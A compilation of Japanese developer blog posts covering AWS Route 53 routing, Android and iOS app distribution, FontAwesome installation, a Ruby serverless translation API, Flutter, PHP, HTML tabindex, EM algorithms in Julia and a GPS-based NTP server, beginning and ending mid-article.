**リソースの場所に基づいてトラフィックをルーティングし、必要に応じてトラフィックをある場所のリソースから別の場所のリソースに移動する場合に使用します。**
とありますが、またまたよくわからないので、[こちらの記事](https://blog.serverworks.co.jp/2022/03/22/150454#7-%E7%89%A9%E7%90%86%E7%9A%84%E8%BF%91%E6%8E%A5%E6%80%A7%E3%83%AB%E3%83%BC%E3%83%86%E3%82%A3%E3%83%B3%E3%82%B0)を参考にさせていただきました。

**ユーザーとクライアント双方**の位置情報によって、クライアントと**地理的に近いリージョンから応答させたい**場合に利用する。

# おわりに
一旦、このくらいの理解にして、
実務で使う前に、深掘りたいと思います！！
ありがとうございました。
Android アプリのインストール方法を比較してみた

## 何が書いてあるか
Android アプリを端末にインストールする方法は一般的なユーザーは Google Play を使用しますが、目的や状況に応じて別の手段を取ることも考えられます。
それぞれの手段のメリットデメリットは何か、どういう時に向いているかについて書いていきます。
インストール方法については軽く触れますが、具体的な配布方法については今回は触れません。

## 手段
1. [Google Play](https://qiita.com/akirago/items/990fea92748c93bd4389#google-play)
1. [Firebase App Distribution](https://qiita.com/akirago/items/990fea92748c93bd4389#firebase-app-distribution)
1. [Website](https://qiita.com/akirago/items/990fea92748c93bd4389#website)
1. [adb command](https://qiita.com/akirago/items/990fea92748c93bd4389#adb-command)
1. [Android Studio](https://qiita.com/akirago/items/990fea92748c93bd4389#android-studio)

## Google Play

##### インストール方法
Google Play を開いてアプリをインストールする。

##### メリット
- 自動アップデートが出来る
- Google Play にログインしているユーザーなら誰でも利用出来る
- OS のバージョンによって配布するアプリを切り替えられる
- ダウンロードする側の手順が少ない
- 統計データを取得することができる

##### デメリット
- [Google Play デベロッパーアカウントに US$25 を支払って登録してする必要がある](https://support.google.com/googleplay/android-developer/answer/6112435?hl=ja)
- [Google Play Console からアプリを登録する為に様々な項目に記入する必要がある](https://support.google.com/googleplay/android-developer/answer/9859152)
- 審査に時間がかかることがある
- 審査を通す為にポリシーを満たす必要がある
- 審査で弾かれると配布できない
- Google アカウントが必要

##### まとめ
不特定多数のユーザーが対象、頻繁にアプリの更新がある場合には Google Play を使うのが良さそう。特定の環境でしか機能しないアプリで審査が出来ない場合には他の方法を検討する必要がありそう。

##### 参考
[公式ドキュメント](https://developer.android.com/studio/publish#publishing-release)

## Firebase App Distribution

##### インストール方法
Firebase から送信された招待メールから Firebase App Distribution のアプリをインストールし、Firebase App Distribution アプリから配布したアプリを選択してインストールする

##### メリット
- インストールするアプリを指定できる
- アプリに対してリリースコメントを簡単につけられる
- 指定したユーザーにのみ配布できる
- Firebase App Distribution に対する料金がかからない
- どれだけインストールされているか見れる

##### デメリット
 - Firebase App Distribution の設定が必要
 - Google アカウントが必要

##### まとめ
特定のユーザーにのみ配布したい場合、問題があった場合気軽にダウングレードしたい場合に使うのが良さそう。

##### 参考
[公式ドキュメント](https://firebase.google.com/docs/app-distribution)


## Website

##### インストール方法
ブラウザの「提供元のアプリを許可」を行い、ブラウザからアプリをインストールする。

##### メリット
- 不特定多数のユーザーに配布できる
- インストールするバージョンを指定できる

##### デメリット
- ダウンロードする側がセキュリティ面に問題がないか不安を抱かせてしまう
- サーバーを用意する必要がある

##### まとめ
不特定多数のユーザーに配布したいが、Google Play のポリシーにどうしても引っかかってしまう場合、更新頻度の少ないアプリの場合に良さそう。

##### 参考
[公式ドキュメント](https://developer.android.com/studio/publish#publishing-website)
[野良アプリインストールの手順](https://smartasw.com/archives/4011)

## adb command

##### インストール方法
PC に Android Studio をインストールし、adb を有効にする、端末を開発者モードにし、PCと接続しデバッグを許可した上でインストールする

##### メリット
- 一度設定できれば他の方法に比べてインストールまでの手順が少ない
- アカウントやサーバーが必要ない

##### デメリット
- 初回の設定が非常に面倒
- Android Studio をインストールする必要がある

##### まとめ
自分の手元で試す場合には良いが、多くの端末にインストールする場合には向いていなさそう。

##### 参考
[公式ドキュメント](https://developer.android.com/studio/command-line/adb)

## Android Studio

##### インストール方法
PC に Android Studio をインストールし、端末を開発者モードにし、PCと接続しデバッグを許可した上でインストールする。開発時ではない場合 adb command の下位互換になる。

##### メリット
- 一度設定できれば他の方法に比べてインストールまでの手順が少ない

##### デメリット
- 初回の設定が非常に面倒
- Android Studio をインストールする必要がある
- 環境構築が必要
- ソースコードをダウンロードしておく必要がある
- ビルドに時間がかかる

##### まとめ
基本的には開発者が使うもの。

##### 参考
[公式ドキュメント](https://developer.android.com/studio/run)
リリース前にAppStoreリンクを知る方法

# はじめに
「アプリにシェア機能を付けたいけどまだリリースしてないからURLがわからない...」
「1回リリースしてから追加でシェア機能つけよう！」

今までこう思ってました。

しかし、リリース前にAppStoreのリンクを知る方法を見つけたので紹介します。

もしかしたら、自分だけが知らなかった可能性も...笑


# AppStoreのURL
AppStoreのURLはこのようになっています
https://apps.apple.com/jp/app/{アプリ名}/id{アプリID}

**必要な情報**
- アプリ名
- アプリID

上記2つをリリース前に知ることができればAppStoreURLをゲットです


# やっていく
### アプリID
App Store Connectに追加した状態からスタートします。

![スクリーンショット 2022-04-30 19.46.07.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1745371/1dbfdbe6-21c0-7dfa-bd39-d480b232c0e1.png)

↑ この画面までいきます ↑

↓ URLを見てみましょう ↓
![スクリーンショット 2022-04-30 19.47.22.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1745371/5da8ebff-74b2-0f21-f0f9-18d516d7b23b.png)
こちらがAppIDになります

### アプリ名
![スクリーンショット 2022-04-30 19.54.12.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1745371/3530dca9-de4e-5c2b-6ac9-deb5598c1ec7.png)

こちらで自分が決めた「名前」がAppStoreで表示されるアプリ名になります。

アプリ名がURLで使用できるようにエンコードします。

https://tech-unlimited.com/urlencode.html

↑ 私はいつもここでエンコードしてます ↑

### URLを完成させる

https://apps.apple.com/jp/app/ + -+Level+- + /id + 1621303604

![hqdefault.jpeg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1745371/5dc8f381-9a61-db58-d267-91f1d08a9baf.jpeg)

https://apps.apple.com/jp/app/-+Level+-/id1621303604
完成！！

# おわり
今回サンプルにしたアプリはこちらです！
インストールしてね
![2778x1284bb.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1745371/5c00e51d-f284-ab3e-4280-f1a7fe8a0740.png)

https://apps.apple.com/jp/app/-+Level+-/id1621303604
AI

## AI
<b>人が行うような学習・認識・予測・判断などの知的な活動を、コンピュータにさせる取組みやその技術のこと。人工知能。
## 機械学習
<b>身の回りのものがインターネットにつながる<font color = blue>IoT</font>の普及により生まれた大量のデータ(<font color = blue>ビッグデータ</font>)をコンピュータに解析させ、コンピュータ自らが予測や判断などができるように学習させること。
### 教師あり学習
<b>予め問題(データ)と正解をコンピュータに提示し、誤りを指摘したりすることで、コンピュータ自らがそれらの特徴を学習すること。
### 教師なし学習
<b>コンピュータ自らが、統計的性質やある種の条件に従い、データのグループ分け(<font color = blue>クラスタリング</font>)や、情報の集約を行うこと。正解は提示しないので、コンピュータ自らが正解を導き出す。
### 強化学習
<b>試行錯誤を通して、報酬(評価)が最も多く得られるような方策を学習すること。囲碁、将棋などのゲームの人工知能に応用されている。
## ディープラーニング
<b>人の脳神経回路を模倣したモデル(<font color = blue>ニューラルネットワーク</font>)で解析し、AI自らがデータを判別するための特徴を探し出すこと。深層学習。
FontAwesomeをリモートサーバーに直接ダウンロードする

# 環境
**2022/04/30**
・Linux CentOS7
# ダウンロードするもの
・Font Awesome 6.1.1
# ダウンロード方法
### FontAwesomeのダウンロード
　[FontAwesomeのダウンロード先](https://fontawesome.com/download)からダウンロードしてきます。

https://fontawesome.com/download

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2647158/e66ac90a-1fd8-a3cd-80dc-1df56ee47124.png)

　私の時にはこのようなスクショの画面でした。
　ここにチラ見えしている6.1.1 For The Webをダウンロードします。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2647158/598aee3b-8a86-c9aa-c6ed-bd35a33272fd.png)

　Proにはお値段のかかる会員登録が必要になります。
　今回は**Free For Web**をダウンロードしていきます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2647158/78e05429-bd9d-447f-bd11-14714a240130.png)

　**Free For Web**を右クリックして、**リンクのアドレスをコピー**します。

　今回とれたURL。

```
https://use.fontawesome.com/releases/v6.1.1/fontawesome-free-6.1.1-web.zip
```

　当然、バージョンが違えばこのURLは異なりますのでご注意。

```
$ wget https://use.fontawesome.com/releases/v6.1.1/fontawesome-free-6.1.1-web.zip
```

　ちゃんとインストールされたか一応確認しましょう。

```
$ dir
fontawesome-free-6.1.1-web.zip
```

　zipファイルなのでunzipで解凍しましょう。
　LinuxではOSの環境によってzip関連のコマンドをインストールされていない場合があります。その場合は[unzipのインストール方法](https://qiita.com/king_dog_ease/items/0c6c23f1a034594b1d57)を参考にインストールしてください。

https://qiita.com/king_dog_ease/items/0c6c23f1a034594b1d57

```
$ unzip fontawesome-free-6.1.1-web.zip
```

　解凍するファイル名はインストールするバージョンに合わせて変更してください。

　解凍したファイルがあるかどうかの確認。

```
$ dir
fontawesome-free-6.1.1-web.zip
fontawesome-free-6.1.1-web
$ cd fontawesome-free-6.1.1-web
$ dir
LICENSE.txt  css  js  less  metadata  scss  sprites  svgs  webfonts
```

# Example
　FontAwesomeに必要なソースはこれでダウンロードし終えましたが、FontAwesomeがこれで使えるのかといわれるとなんだか不安な気もします。
　そのため、例を使って確認してみましょう。
　HTMLの表示の仕方については指定しないので整っている環境で試してみてください。

```html
<img src="fontawesome-free-6.1.1-web/svgs/solid/font.svg">
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2647158/9839caac-284a-3741-182b-5a9018ab3c9f.png)

 表示されていればOKですね。
　例では(たぶん)一番わかりやすい<img>タグでsvgファイルを直接表示しましたが、

```
<i class="fa-solid fa-font"></i>
```

　このような使い方がしたいのでしたら、linkタグをheadに書いて、

```
<head>
  ...
  <link rel='stylesheet' href='fontawesome-free-6.1.1-web/css/all.min.css'>
  ...
</head>
```

　とすればいいでしょう。

　いじょう！
Serverless アーキテクチャでWeb API を構築するハンズオンをRubyで実装してみた



# 概要
AWSが提供している、[翻訳Web APIのハンズオン](https://pages.awscloud.com/event_JAPAN_Hands-on-for-Beginners-Serverless-2019_Contents.html)をRubyに変えて作ってみました。
※ハンズオン内ではpythonを利用されています。

# 前置き
ほとんどハンズオンの流れと同じため、AWS周りの流れは省略しています。

# 1. Lambda 単体で使ってみる
LambdaからTranslateを呼び出して「おはよう」を「Good morning」へ変換しました。
[Module: Aws::Translate](https://docs.aws.amazon.com/sdk-for-ruby/v2/api/Aws/Translate.html)

 ```
require 'json'
require 'aws-sdk'

def lambda_handler(event:, context:)
    
    translate = Aws::Translate::Client.new(region: 'ap-northeast-1')
    
    input_text = "おはよう"
    
    response = translate.translate_text({
        text: input_text,
        source_language_code: 'ja',
        target_language_code: 'en'
    })
    
    output_text = response.translated_text
    
    { statusCode: 200, body: JSON.generate(output_text) }
end
```

# 2. API Gateway と Lambda を組み合わせる
input_textに受け取るように変更しました。

```
require 'json'
require 'aws-sdk'

def lambda_handler(event:, context:)
   
    translate = Aws::Translate::Client.new(region: 'us-east-1')
    
    input_text = event['queryStringParameters']['input_text']
    
    response = translate.translate_text({
        text: input_text,
        source_language_code: 'ja',
        target_language_code: 'en'
    })
    
    output_text = response.translated_text
    
    { statusCode: 200,
      body: JSON.generate(output_text), 
      isBase64Encoded:  false,
      headers: {} 
    }
end
```

# 3. API Gateway と Lambda と DynamoDB を組み合わせる

※あらかじめDynamoDB上でテーブル作成しています。

翻訳元,翻訳結果,実行日時をDB内に保存しました。
[Module: Aws::DynamoDB](https://docs.aws.amazon.com/sdk-for-ruby/v2/api/Aws/DynamoDB.html)

```
require 'json'
require 'aws-sdk'

def lambda_handler(event:, context:)
    
    # SDK
    translate = Aws::Translate::Client.new(region: 'ap-northeast-1')
    dynamodb = Aws::DynamoDB::Client.new(region: 'ap-northeast-1')
    
    # translate
    input_text = event['queryStringParameters']['input_text']
    
    response = translate.translate_text({
        text: input_text,
        source_language_code: 'ja',
        target_language_code: 'en'
    })
    
    output_text = response.translated_text
    
    # db
    dynamodb.put_item({
        item: {
            "time_stamp": Time.now.strftime("%Y%m%d%H%M%S"),
            "input_text": input_text,
            "output_text": output_text,
        },
        table_name: 't_translate_log',
    })
    

    { statusCode: 200,
      body: JSON.generate(output_text), 
      isBase64Encoded:  false,
      headers: {} 
    }
end

```

# 終わりに
AWSの実務経験がなく、もくもく会の一環として取り組みましたが、実際にやりながらだと理解が進みますね。
実行エラーになる要因が、ロール設定やリージョンを間違っていたなどAWS周りの基礎知識不足だったので、キャッチアップ続けていきます。。
オートマトン

## オートマトン
<b>現在の状態と入力によって、出力が決定される機会をモデル化したもの。
代表例は自販機。
また、オートマトンで初期状態から、いくつかの状態を遷移し、最終的に受理状態（終了状態）になるものを<font color = blue>有限オートマトン</font>という。
オートマトンの状態の遷移を図にしたものが<font color = blue>状態遷移図</font>、表にしたもの<font color = blue>状態遷移表</font>。

<b>↓状態遷移図
![____7288345_orig.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2600460/fffc40f9-776f-8eba-560e-4879396511b4.png)

<b>↓状態遷移表
![c_2104_041_003.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2600460/629ff04d-629b-2af5-7aa2-57868fa7646b.png)
計測と制御

## アナログとディジタル
<b>音声などのような連続的に変化する情報を<font color =blue>アナログデータ</font>という。
連続するアナログデータを細かく区切って「0」と「1」に置き換えた不連続な情報を<font color =blue>ディジタルデータ</font>という。
アナログ時計とディジタル時計のイメージ
### A/D変換
<b>アナログデータをディジタルデータに変換することを<font color =blue>A/D変換</font>、
ディジタルデータをアナログデータに変換することを<font color =blue>D/A変換</font>。

ディジタルデータの特徴
・データの加工・編集・再利用・検索がしやすい
・ノイズに強い
・データの劣化が起こりにくい
・真の値との間に誤差が起こりやすい

## PCM伝送方式
<b>アナログの音声信号をディジタル符号に変換する方式
標本化->量子化->符号化の順
### 標本化
<b>時間的に連続したアナログ信号の波形を、一定の時間間隔で測定すること(<font color =blue>サンプリング</font>)
1秒あたりのサンプリング回数を<font color =blue>サンプリング周波数</font>という。<font color =blue>Hz</font>で表す。

### 量子化
<b>測定した信号をあらかじめ決められた一定の間隔に区切り数値化すること。区切る間隔を量子化ビット数として、ビット（bit）で表す。

### 符号化
<b>量子化された値を2進数のディジタル符号に変換すること

サンプリング周波数が短く、量子化の段階数が多いほど、元の音の近くなるが、データ容量が大きくなる。

![image-30.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2600460/2b693ed7-ff29-ec23-0007-f8e64e3c0fb2.png)

## 制御技術
<b>外部の作用の影響をセンサで検知し、コンピュータが判断し、修正動作を行う制御を<font color =blue>フィードバック制御</font>という。例として、エアコンなど
また、外部の影響を予測できる時に、先に必要な動作を行う<font color =blue>フィードフォワード制御</font>、あらかじめ定められた順序または条件に従って、制御の各段階を逐次進めていく<font color =blue>シーケンス制御</font>がある。

### コンピュータ制御に必要な要素
<b>A/Dコンバータ - アナログ電気信号をディジタル信号に変化させる
センサ - 物理量を検出して、電気信号に変える。温湿度、赤外線、加速度センサや
　<font color =blue>ひずみゲージ</font> - 物体の変形を検出
　<font color =blue>ジャイロセンサ</font> - 回転の速度(角速度)、傾き、振動を検出。
　<font color =blue>人感センサ</font> - 人体が発する赤外線や超音波を用いて存在を感知
　がある。
アクチュエータ - コンピュータが出力した、電気信号を回転・直線運動など、力学的な運動に変える。
アンプ - マイクロフォンやセンサなどが出力した微小な電気信号を増幅する

### PWM
<b><font color = blue>PWM制御</font>は、モーターの回転速度やLEDの明るさなどをディジタル信号で制御する方式。パルス幅変調制御ともいう。

## クロック信号
<b>電圧が高くなるとこを立上り、低くなるところを立下りという。

## 電力量
<b>電気の流れの量を電流といい<font color =blue>A(アンペア)</font>で表す。
電気を流そうとする力の強さを電圧といい<font color =blue>V(ボルト)</font>で表す。
実際に消費される電気エネルギーが<font color =blue>W(ワット)</font>。
1A × 1V = 1W
電力量は<font color =blue>Wh(ワット時)</font>または<font color =blue>kWh(キロワット時)</font>
AWS これは知っておきたいシリーズ　第０回

## はじめに
4月となり、新社会人の方々が入社しました。<br>
自社にも新卒の人たちが入社し、新たにAWSを勉強する人もいます。<br>
そういった方々が参考に出来るようにAWSの基礎的な部分を初心にかえる意味で残します！

※シリーズ化予定なので、お時間ある時にご覧ください！

---

## オンプレとクラウドって何？

**オンプレミス**は、自社資産で構築・運用するIT環境のことを表す。
システム構築に必要な物理サーバー、通信回線などの資産を自社で用意して運用する環境のことを示す。
一方、**クラウド**とはインターネット経由で提供されるサービスを利用することで、資産を自社内に保有せず、運用をするIT環境のことを示す。

---

## オンプレとクラウドの違い

初期導入コスト＆導入までの期間
• クラウドの場合はオンプレのように、従来のサーバーを自社内に置くことなく、クラウド環境上で仮想サーバーを構築し、ネットワーク経由で仮想サーバー上の各種サービスを利用することが可能(アカウント登録後すぐに利用できる)
• 低コストでスタート可能、必要な時に必要な分、サーバーの増減が可能なため、コストを最適化しやすい
• 災害/障害
• 地震などの自然災害が起きた場合、自社運用ではサービス停止リスクが高いが、クラウドの場合はデータセンター内にサーバやネットワーク機器設備を設置されているため、電源供給や耐震面でも安心
• 冗長構成を組むことにより、障害対応にて障害が発生した際に処理を引き続けることができる
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2411418/d5685fd1-3cca-e4b7-79c1-43a05dfcf70e.png)

---

## クラウドの市場動向
総務省によると、企業のクラウドサービスの活用の増加に伴い、2023年には5,880億ドルに達すると予測されている。
Canalysによるとの2021年の第2四半期のクラウドインフラ(IaaS、PaaS)に関する調査結果によると、市場全体成長率は36%で、市場のシェア率はAWSが31％、Azureが22％、Google Cloud8％とクラウドビック3が市場の6割以上を占めている状況。
補足：地域別では、北米が5割ほどのクラウドサービス市場規模を占めている。

---

## AWSって何？
AWSとはAmazon.comによって提供されているクラウドコンピューティングサービスである。
2022年3月時点で245の国と地域でサービスを提供しており、200以上のサービス数(227個)を誇る。
具体的な用途として以下が挙げられる。<br>
• 仮想サーバの作成<br>
• Webサイトの運用<br>
• ビッグデータ分析<br>
• システム開発環境の構築<br>
• データベースの運用<br>
• AI（機械学習）機能の利用<br>
• 動画や画像などのコンテンツ配信 など<br>

---

## 資格について

AWS認定資格には12種類の認定資格がある。
※AWS認定資格の有効期限は3年間
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2411418/0d1787b1-69ad-d20c-9f39-d5e01d8037aa.png)
> AWS 認定(https://aws.amazon.com/jp/certification/)

**◆クラウドプラクティショナーレベル（AWSに関する基礎知識を身につけた人を対象）**
　合格ライン：700/1000点
　試験時間：90分
　受験料：11,000円

**◆ アソシエイトレベル**
　・SysOps アドミニストレーター（システム運用担当者を対象とする資格）
　・デベロッパー（開発担当者を対象とする資格）
　・ソリューション アーキテクト（ソリューションアーキテクト担当者を対象とする資格）
　合格ライン：720/1000点
　試験時間：130分
　受験料：15,000円

**◆ プロフェッショナルレベル**
　• ソリューションアーキテクト（ソリューションアーキテクト担当者を対象とするプロフェッショナルレベルの資格）
　• DevOps エンジニア（DevOps エンジニア担当者（開発と運用）を対象とするプロフェッショナルレベルの資格）
　合格ライン：750/1000点
　試験時間：180分
　受験料：30,000円

**◆専門資格**
• セキュリティ
• 機械学習
• ビッグデータ
• 高度なネットワーキング
• データアナリティクス
• SAP on AWS
　合格ライン：750/1000点
　試験時間：170~180分
　受験料：30,000円

---

## さいごに

いかがでしたか？冒頭でお伝えした通り、シリーズ化していく予定ですので参考にしていただければ幸いです！
次回第1回からは、AWSの基本サービスに焦点を解説していきたいと思いますのでよろしくお願いします！！
【Flutter】MainActivityをComponentActivityのサブクラスにしたい【Android】

# はじめに

Flutter開発してると、MethodChannelを使ってプラットフォーム固有の機能を使いたいことがままある。
AndroidだとMethodChannel経由でActivityにアクセスするんだけども、アクセス先のActivityがデフォルトだとFlutterActivityになっていて、ComponentActivityを継承していない。

これだと、activity-ktxの`viewModels`が使えなくて、DIするときにとても困ってしまう。
ViewModelFactoryを作ったりして頑張ればなんとかなったのだろうけど、**僕にそんな技術力はないので**別の方法を探したら、いい感じに解決できた。

あんまり記事とかもなかったので共有。

# 結論

[FlutterFragmentActivity](https://api.flutter.dev/javadoc/io/flutter/embedding/android/FlutterFragmentActivity.html)を使う。

ドキュメントを見てくれればわかるけど、この子はしっかり`androidx.core.app.ComponentActivity`を継承してくれているので、FlutterActivityをFlutterFragmentActivityに差し替えてくれれば、ちゃんと`viewModels`も使えるようになる。
MethodChannelで繋ぐActivityを全てFlutterFragmentActivityにするのではなくて、必要に応じて使うのがいいっぽいね。

# まとめ

- MethodChannelで繋いだActivityでComponentActivityでしか使えない機能がある場合は、FlutterFragmentActivityを使おう。

おわり。
タグから読む。GitHubPages。

タグから読む。Qiitaの読み方。新人プログラマ応援

https://qiita.com/kaizen_nagoya/items/625a47d19752ebacf664

GitHubPagesをfollowしていませんでした。
TwitterからGithubに活動を移行することを決めてからもうすぐ４年。
GitHubPagesを知らないのはやばい。

まず、１０記事読んで、わかったこと、わからなかったこと、よかったこと、あらためるとよいことを記録するようにしている。今回は、まとめは、新人プログラマ応援の上位64タグの知らないタグ記事を作った後にします。ごめんなさい。

記事名の後ろの数字はLGTM数とスタック数。

君のGitHubリポジトリをもう一段階上のレベルに引き上げよう, 270,254

https://qiita.com/rana_kualu/items/7476947ae6b6b82e1a20

>Github Pagesを使うことで、リポジトリから直接Webサイトをホストすることができるようになります。
プロジェクト専用のWebサイトを用意することで、よりクリエイティブに見せることができるでしょう。
また検索エンジンで引っかかる可能性も飛躍的に高まります。

GitHubPagesとHugoでポートフォリオを作った際のメモ, 9, 4

https://qiita.com/OKsaiyowa/items/5d1a610d6f777e83b245

GItHub Pagesから他サイトへのリダイレクト設定をページ毎に行う (jekyll-redirect-from使用), 4, 2

https://qiita.com/ma2shita/items/d197d4dc6680547f04ba

HugoとGitHub Pagesでサイトを作る (備忘録),4,2

https://qiita.com/nakamasato/items/17f0160bf75ceb06d58c

GitHub Actionsを使ってDokkaで出力したドキュメントをGitHub Pagesにデプロイする

https://qiita.com/UramnOIL/items/b0063b1009fe0b637af6

【C#】Blazor WasmをGithubPagesで公開する方法【Blazor Wasm】,3,2

https://qiita.com/rait0/items/f242e20f1d8f6a97975b


SvelteKitで作ったサイトをGitHub Pagesにデプロイする,3,0

https://qiita.com/K2Da/items/4fc5444b1c6635e814ca

GitHub Pagesにサブドメインを設定してSSL化するまで,2,0 

https://qiita.com/Sorakime/items/66f17271ff2deabff4a4

mint言語でGithub Pagesを作る.1,4 

https://qiita.com/kojix2/items/49554063a627049685d3

GitHub Pages の Jekyll 自動ビルドで使えるプラグインをまとめてみた

https://qiita.com/noraworld/items/f0da9ecb608476fe3a02

dbt (CLI) × BigQuery 〜Docker 環境構築から GitHub Pages 公開まで〜, 1,0

https://qiita.com/mida12251141/items/47b4ade9cbbb82290d43


＜この記事は個人の過去の経験に基づく個人の感想です。現在所属する組織、業務とは関係がありません。＞

# 文書履歴(document history)
ver. 0.01 初稿 　20220430
ver. 0.02 ありがとう追記 20230504

## 最後までおよみいただきありがとうございました。

いいね　💚、フォローをお願いします。

####  Thank you very much for reading to the last sentence.

Please press the like icon 💚　and follow me for your happy life.
【php】連想配列を見やすくする工夫

なんてこともないことですが、
覚えてで忘れそうでもあるのでその備忘録がてら投稿します。

<h3>list()の活用</h3>
DBからレコードをSELCTするとカラム名に値が入っている形になっていると思う。
それをそのまま活用してもいいが、読みやすいかといわれると微妙。
そこでlist()を活用すると少しでも読みやすくなるかなと思った。
例えばこんな感じ。

```php
$userData = ['田中太郎', '25', 'man', '東京都'];
list($name, $age, $gender, $address) = $userData;
```

ちょっとでも読みやすくなるコードを書いていきたいなという思いです。
tabindexでaタグにフォーカスが当たらない理由

tabindexを使おうとした時にハマってしまったので、
備忘録として残しておく。
<br>

参考資料にも書いてあるように、aタグにはtabindexを使用しなくてもtabキーを押したらフォーカスされるはずなのだが、sampleのようなaタグにはフォーカスされずsample2のようなaタグにはフォーカスされていた。
### tabキーを押した時にフォーカスされなかったaタグ
```html:sample.html
<a id="open-soccer" title="open-soccer" onclick="clickButton2()">詳細表示ボタン</a>
```

### tabキーを押した時にフォーカスされたaタグ
```html:sample2.html
<a id="home-link" href="#home">HOME</a>
```
<br>
sampleのコードではaタグのリンクを無効にして詳細表示ボタンとして使うためにhref属性を外していたのだが、どうやらそれが原因だったみたい。

<br>
<br>

Tabでフォーカス移動できるようにしたい場合は、href属性を指定するか、tabindexを指定してあげないといけない。ただし、tabindexを指定するときはフォーカスされる順番に気をつける。

## 参考文献
https://developer.mozilla.org/ja/docs/Web/HTML/Global_attributes/tabindex

https://www.tagindex.com/html5/attribute/tabindex.html
JuliaでEMアルゴリズムの関数を作る

# なぜやったか

- 仕事上**混合正規分布**のパラメータ推定への理解が必要となってしまいました。
  - パラメータ推定によく用いられている**EMアルゴリズム**を理解したい
  - せっかくなので**正規分布**だけでなく**ポアソン分布**などのケースも考えました。

# 参考文献
1.は、**EMアルゴリズム**の理解のために参考としたものです。シミュレーションの定数も、ある程度参考としています。ありがとうございます。

1. https://qiita.com/gorogoro_gorori/items/fdecda8e237aef74e3d0

# やったこと

1. 参考文献の1.を読みました。

2. **Julia**で一次元の混合正規分布、混合ポアソン分布、混合指数分布の推定用の関数を作成しました。実際に、混合ポアソン分布の推定結果をこの記事で整理しています。

# コード

```Julia
# パッケージの呼び出し
using Distributions
using LinearAlgebra
```

```Julia
# 混合正規分布のパラメータ推定を行う関数
function em_gaussian_1dim(x, iter_num, pis, mus, sigmas)
    N = length(x)
    for ite in 1:iter_num
        piNs = [p * pdf.(Normal(m, s), x) for (p, m, s) in zip(pis, mus, sigmas)];
        qns = [pn ./ sum(piNs) for pn in piNs];
        pis = [sum(qn) / N for qn in qns];
        mus = [dot(qn, x) / (N * p) for (p, qn) in zip(pis, qns)];
        sigmas = [sqrt(sum(qn .* (x .- m).^2) / (N * p)) for (m, p, qn) in zip(mus, pis, qns)];
    end
    return pis, mus, sigmas
end

# 混合指数分布用のパラメータ推定を行う関数
function em_exponential(x, iter_num, pis, lambdas)
    N = length(x)
    for ite in 1:iter_num
        piNs = [p * pdf.(Exponential(lambda), x) for (p, lambda) in zip(pis, lambdas)];
        qns = [pn ./ sum(piNs) for pn in piNs];
        pis = [sum(qn) / N for qn in qns];
        lambdas = [dot(qn, x) / (N * p) for (p, qn) in zip(pis, qns)];
    end
    return pis, lambdas
end

# 混合ポアソン分布のパラメータ推定を行う関数
function em_poisson(x, iter_num, pis, lambdas)
    N = length(x)
    for ite in 1:iter_num
        piNs = [p * pdf.(Poisson(lambda), x) for (p, lambda) in zip(pis, lambdas)];
        qns = [pn ./ sum(piNs) for pn in piNs];
        pis = [sum(qn) / N for qn in qns];
        lambdas = [dot(qn, x) / (N * p) for (p, qn) in zip(pis, qns)];
    end
    return pis, lambdas
end
```

```Julia
# 乱数生成
y0 = rand(DiscreteUniform(1,3), 100000);
x = reshape([rand(Poisson(y^2), 1)[1] for y in y0], (100000, 1));
iter_num = 1000;
pis = [1/2 1/3 1/6];
lambdas = [1 5 10];
```

```Julia
# 実際の推定
em_poisson(x, iter_num, pis, lambdas)
# 出力結果
# 実行時間は30秒ほど、およそパラメータは推定できているっぽいです。
# 推定結果をアニメーションにするなどの方法を知りたいですがまた今度。
# ([0.3369903366831118 0.33647632001950306 0.3265333432973852], 
# [0.9977504488001773 4.072583397747915 9.044037695711244])
```

# 感想
- ある程度推定結果は正しいと感じています。
- 正規分布を多次元に拡張した場合や、実際のデータを使ったモデルの推定も記事にしたいです。

# 次にやる、この記事に関連すること
- 実際のデータを使ったモデルの推定の記事化。
GPSを使ったNTPサーバの構築 その6 まとめ

# 1.NMEAドライバwith PPSを基準時刻にした結果
[前回](https://qiita.com/R800/items/955b955af7f82df5940d)、LS22030-V2をNMEAドライバwith PPSで基準時刻として同期させた結果が下図のグラフ。

![ntp_peers-pinpoint=1650726000,1651158000.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2611482/a8f4e51c-4207-dbf0-2d03-fc343888d9aa.png)

LS22030-V2(オレンジの線)が0ms付近に移り、このスケールだと線が重なって分からなくなったので拡大。

![拡大.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2611482/55675ddd-a1a1-a874-54a3-018870c8c82e.png)

ポーリング間隔が短く、他の時刻ソースも使っていないのでグラフはほぼ直線。若干、基準としたMFEEDよりも進んでいるようなので、それぞれのoffset平均の差をとって再補正する。
~~~
前回設定した補正値 - (MFEEDのoffset平均 - LS22030-V2のoffset平均)
0.105853 - (-0.000566 - 0.000008)
~~~
~~~conf:ntp.conf抜粋
# LS23030-V2
server 127.127.20.2 mode 80 minpoll 2 maxpoll 4 iburst true
fudge  127.127.20.2 flag1 1 time1 0.105278 refid GPS2
~~~

あと、UG-353のDynamic Platform ModelsをPortableからStationaryに変更していたので確認。jitterは小さくなっているのだが、同期の基準をポーリング間隔の短いLS23030-V2に変えて条件が変わっているので、割引いてみた方が良いかも知れない。

| 結果 | offset平均[ms] | jitter平均[ms] |
|:-|:-:|:-:|
| 前々回(送信センテンス限定) | -73.697 | 2.771 |
| 前回(9600→38400bps) | -78.114 | 2.763 |
| 今回(Portable→Stationary) | -78.116 | 2.368 |

# 2.まとめ
再校正も行ったので、これで構築完了とする。
一応これまで分かったことをまとめておく。

## 2.1.GPSレシーバー
